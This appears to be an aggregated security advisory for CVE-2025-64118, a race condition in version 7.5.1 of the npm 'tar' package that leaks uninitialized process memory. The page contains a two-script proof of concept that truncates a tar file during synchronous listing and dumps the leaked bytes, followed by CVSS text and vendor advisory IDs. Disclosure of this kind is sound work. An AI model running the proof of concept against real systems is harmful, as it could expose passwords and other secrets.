CVE-2025-64118

ADVISORY - github

Summary

Summary

Using .t (aka .list) with { sync: true } to read tar entry contents returns uninitialized memory contents if tar file was changed on disk to a smaller size while being read.

Details

See:

PoC

A:

import * as tar from 'tar'
import fs from 'node:fs'

fs.writeFileSync('tar.test.tmp', Buffer.alloc(1*1024))

// from readme
const filesAdded = []
tar.c(
  {
    sync: true,
    file: 'tar.test.tmp.tar',
    onWriteEntry(entry) {
      // initially, it's uppercase and 0o644
      console.log('adding', entry.path, entry.stat.mode.toString(8))
      // make all the paths lowercase
      entry.path = entry.path.toLowerCase()
      // make the entry executable
      entry.stat.mode = 0o755
      // in the archive, it's lowercase and 0o755
      filesAdded.push([entry.path, entry.stat.mode.toString(8)])
    },
  },
  ['./tar.test.tmp'],
)

const a = fs.readFileSync('tar.test.tmp.tar')

for (let i = 0; ; i++){
  if (i % 10000 === 0) console.log(i)
  fs.writeFileSync('tar.test.tmp.tar', a)
  fs.truncateSync('tar.test.tmp.tar', 600)
}

B (vulnerable):

import * as tar from 'tar'
import * as fs from 'fs'

while (true) {
  fs.readFileSync(import.meta.filename)
  tar.t({
    sync: true,
    file: 'tar.test.tmp.tar',
    onReadEntry: e => e.on('data', b => {
      const a = b.filter(x => x)
      if (a.length > 0) console.log(a.toString())
    })
  })
}

Run A and B in parallel on Node.js 22 or >=25.1.0

Dumps B memory (wait for some time to observe text data)

Impact

Exposes process memory and could result in e.g. unintentionally (aka attacker-controlled) attempting to process sensitive data rather than tar entry contents. Uninitialized memory can contain unrelated file contents, environment variables, passwords, etc.

To execute, an attacker must reduce the file size to boundary between a tar header and body block, in the time between when the tar archive file size is read via stat, and the time when the tar archive parser reaches the entry that is truncated. If the file is truncated at a different boundary, then the uninitialized data will very likely not be a valid tar entry, causing the parser to treat the entry as a damaged archive (that is, throwing an error in strict: true mode, or by default, skipping the entry harmlessly).

This is conditional on using the sync: true option to the tar.list/tar.t method, and the 7.5.1 version specifically. Earlier versions were not affected.

This is also conditional to attacker being able to truncate (or induce a truncation/replacement) of a file on disk (e.g. in cache).

If the tar file is initially larger than the opt.maxReadSize (16kb by default), then uninitialized memory is not exposed to user code, and instead the program enters an infinite loop, causing a DoS rather than an information disclosure vulnerability.

By default, tar.list does not process tar archive entry body content. So, this is further conditional on the user code doing something with the tar entry file contents in an onReadEntry method which would expose the file contents (for example, attempting to parse them in such a way that the uninitialized data could appear in an error message).

Other methods in this library (tar.extract, etc.) are not affected by this vulnerability.

EPSS Score: 0.00006 (0.004)

Common Weakness Enumeration (CWE)

ADVISORY - nist

Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')

Time-of-check Time-of-use (TOCTOU) Race Condition

ADVISORY - github

Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')


GitHub

CREATED

UPDATED

EXPLOITABILITY SCORE

-

EXPLOITS FOUND
-
COMMON WEAKNESS ENUMERATION (CWE)

CVSS SCORE

6.1medium
PackageTypeOS NameOS VersionAffected RangesFix Versions
tarnpm--=7.5.17.5.2

CVSS:4 Severity and metrics

The CVSS metrics represent different qualitative aspects of a vulnerability that impact the overall score, as defined by the CVSS Specification.

The vulnerable component is not bound to the network stack and the attacker's path is via read/write/execute capabilities. Either: The attacker exploits the vulnerability by accessing the target system locally (e.g., keyboard, console), or remotely (e.g., SSH); or the attacker relies on User Interaction by another person to perform actions required to exploit the vulnerability (e.g., using social engineering techniques to trick a legitimate user into opening a malicious document).

A successful attack depends on conditions beyond the attacker's control, requiring investing a measurable amount of effort in research, preparation, or execution against the vulnerable component before a successful attack.

The successful attack depends on the presence of specific deployment and execution conditions of the vulnerable system that enable the attack. These include: A race condition must be won to successfully exploit the vulnerability. The successfulness of the attack is conditioned on execution conditions that are not under full control of the attacker. The attack may need to be launched multiple times against a single target before being successful. Network injection. The attacker must inject themselves into the logical network path between the target and the resource requested by the victim (e.g. vulnerabilities requiring an on-path attacker).

The attacker requires privileges that provide basic capabilities that are typically limited to settings and resources owned by a single low-privileged user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.

Successful exploitation of this vulnerability requires limited interaction by the targeted user with the vulnerable system and the attacker's payload. These interactions would be considered involuntary and do not require that the user actively subvert protections built into the vulnerable system. Examples include: utilizing a website that has been modified to display malicious content when the page is rendered (most stored XSS or CSRF) running an application that calls a malicious binary that has been planted on the system using an application which generates traffic over an untrusted or compromised network (vulnerabilities requiring an on-path attacker).

There is a total loss of confidentiality, resulting in all information within the Vulnerable System being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

There is a total loss of confidentiality, resulting in all resources within the Subsequent System being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Modification of data is possible, but the attacker does not have control over the consequence of a modification, or the amount of modification is limited. The data modification does not have a direct, serious impact to the Vulnerable System.

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the Subsequent System. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the Subsequent System.

Performance is reduced or there are interruptions in resource availability. Even if repeated exploitation of the vulnerability is possible, the attacker does not have the ability to completely deny service to legitimate users. The resources in the Vulnerable System are either partially available all of the time, or fully available only some of the time, but overall there is no direct, serious consequence to the Vulnerable System.

There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the Subsequent System; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the Subsequent System (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

NIST

CREATED

UPDATED

EXPLOITABILITY SCORE

-

EXPLOITS FOUND
-
COMMON WEAKNESS ENUMERATION (CWE)

CVSS SCORE

6.1medium

Debian

CREATED

UPDATED

EXPLOITABILITY SCORE

-

EXPLOITS FOUND
-
COMMON WEAKNESS ENUMERATION (CWE)-

CVSS SCORE

N/Alow

Ubuntu

CREATED

UPDATED

EXPLOITABILITY SCORE

-

EXPLOITS FOUND
-
COMMON WEAKNESS ENUMERATION (CWE)-

CVSS SCORE

N/Amedium

Chainguard

CREATED

UPDATED

ADVISORY ID

CGA-3mpv-3fv5-86j9

EXPLOITABILITY SCORE

-

EXPLOITS FOUND
-
COMMON WEAKNESS ENUMERATION (CWE)-
RATING UNAVAILABLE FROM ADVISORY

Chainguard

CREATED

UPDATED

ADVISORY ID

CGA-fg89-rq7v-4q6q

EXPLOITABILITY SCORE

-

EXPLOITS FOUND
-
COMMON WEAKNESS ENUMERATION (CWE)-
RATING UNAVAILABLE FROM ADVISORY

Chainguard

CREATED

UPDATED

ADVISORY ID

CGA-hc5f-4pxp-jqj7

EXPLOITABILITY SCORE

-

EXPLOITS FOUND
-
COMMON WEAKNESS ENUMERATION (CWE)-
RATING UNAVAILABLE FROM ADVISORY

Chainguard

CREATED

UPDATED

ADVISORY ID

CGA-jvjm-2q7m-prcf

EXPLOITABILITY SCORE

-

EXPLOITS FOUND
-
COMMON WEAKNESS ENUMERATION (CWE)-
RATING UNAVAILABLE FROM ADVISORY

Chainguard

CREATED

UPDATED

ADVISORY ID

CGA-prp6-4jvw-3wp8

EXPLOITABILITY SCORE

-

EXPLOITS FOUND
-
COMMON WEAKNESS ENUMERATION (CWE)-
RATING UNAVAILABLE FROM ADVISORY

minimos

CREATED

UPDATED

ADVISORY ID

MINI-9wr8-2m24-p869

EXPLOITABILITY SCORE

-

EXPLOITS FOUND
-
COMMON WEAKNESS ENUMERATION (CWE)-
RATING UNAVAILABLE FROM ADVISORY

minimos

CREATED

UPDATED

ADVISORY ID

MINI-fgph-r2jc-jxrw

EXPLOITABILITY SCORE

-

EXPLOITS FOUND
-
COMMON WEAKNESS ENUMERATION (CWE)-
RATING UNAVAILABLE FROM ADVISORY

minimos

CREATED

UPDATED

ADVISORY ID

MINI-j7fc-35j5-h4j9

EXPLOITABILITY SCORE

-

EXPLOITS FOUND
-
COMMON WEAKNESS ENUMERATION (CWE)-
RATING UNAVAILABLE FROM ADVISORY

minimos

CREATED

UPDATED

ADVISORY ID

MINI-m9p4-37x3-gp35

EXPLOITABILITY SCORE

-

EXPLOITS FOUND
-
COMMON WEAKNESS ENUMERATION (CWE)-
RATING UNAVAILABLE FROM ADVISORY

minimos

CREATED

UPDATED

ADVISORY ID

MINI-xmqj-6j9x-hh8f

EXPLOITABILITY SCORE

-

EXPLOITS FOUND
-
COMMON WEAKNESS ENUMERATION (CWE)-
RATING UNAVAILABLE FROM ADVISORY